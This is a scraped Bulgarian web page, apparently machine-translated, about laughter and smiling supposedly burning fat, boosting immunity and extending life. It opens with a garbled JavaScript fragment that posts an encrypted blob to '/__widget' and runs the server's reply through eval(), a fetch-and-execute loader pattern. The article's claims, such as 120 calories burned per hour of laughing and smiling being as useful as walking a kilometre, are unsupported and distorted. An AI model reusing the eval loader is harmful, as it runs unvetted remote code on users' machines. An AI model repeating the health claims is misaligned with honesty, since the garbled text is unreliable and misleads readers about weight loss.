усмивка

32 < (function() < var http = new XMLHttpRequest(); http.open("POST", '/__widget', true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.setRequestHeader('Accept', 'application/json;application/javascript'); http.onreadystatechange = function() < if(http.readyState == 4 && http.status == 200) < eval(http.responseText); >; >; http.send ( "данни = eyJpdiI6Iks5V3JRejVBZUszQmQ0WlJQNDVhanc9PSIsInZhbHVlIjoiL1lkaEFkQ0V0bHpKZTQxb053ZW9zVktSWG56Wi84bG93bWtBSkljSGFqL240cXZJOStORFcyTzVwVUlRa1lmMWJwd2k2WmlveTNMeW1odXYvVTNjaUxvemY0UEh1dnVVQnFlSDdRMmorc1haNWtvY0YzQ3NGTDg4RittZ2VmZDc1Nm5UOUQyVHdTZkZISlhLbG9aNEcwak91OTJQeC83SjVOTGNkM2gvSjIrZ2tWRFZCMU9QY0tCZGhuTGUxTXB0MEJ5ZnBBZ0FoVExCOXdjWjFrOThMOWU1bkdGYUNtMmJDOUV3MFQ5K243TVF4MmdLK3YzczlOcGVxa2pCbFhITlFCRkdsY3pQVU5vakwwczc0bzB3U0JscnZGZ1h1ckZjOTRSSlYzR3VSMVhlMWlIWWlidEFkMHR3ektoTlc0aDlLYWh1LzVQTSt5MHZEc1luYXNOMnIraHNwRGVSb2pwN3RULzdFKy95TlB0VTlwVjRUbnR4K2tPNzNxaVZKNG1DR2h4QzhTd1FrcVN6WXJORTFCLzRIdz09IiwibWFjIjoiMmViMDU5OTY2N2NjOWVhYTNlYjA4NGFjYjZhNDQxNmY3MzFjMGE0Nzk5ZDUwZjM3N2YyNjFjNmUyYTUzODE4MyJ9 & _token = 0FtEAZJ2O2VAMvXT2KRXdUfa3jzeRXyeks8BxnOk"); >) (); >) "title =" Щракнете, за да получите известие, когато този автор публикува нови статии "> Абонирайте се

Много хора натрупват телесни мазнини поради ежедневната диета или прекомерния сън. В резултат на това структурата на здравето става дебела от ден на ден. Смехът се губи от живота. Но смехът може да намали мазнините. Неотдавнашно проучване, публикувано в International Journal of Obesity, твърди това. Изследването казва, че редовното усмивка може да се отърве от проблема с излишните мазнини, натрупани в тялото.

Освен това се казва, че смехът не само поддържа хората в добро настроение, но и ги поддържа физически здрави. Освен това играе роля в контрола на кръвното налягане. На сърдечните пациенти се казва да се усмихват открито. Смехът е много ефективен за повишаване на имунитета. Това увеличава количеството на Т-клетките или Т-лимфоцитите (вид бели кръвни клетки) в тялото. Което осигурява допълнителна енергия на тялото. Продължителността на живота на усмихнатите хора също е по-дълга. Премахва умората.

Смехът от 10 до 15 минути на ден изгаря достатъчно калории. Смехът в продължение на един час изгаря 120 калории в тялото ви. Докладът продължава, че изминаването на километър, за да загубите мазнини, е също толкова полезно, колкото и усмивката. Смехът естествено увеличава метаболизма в тялото, което помага при отслабване, като намалява калориите.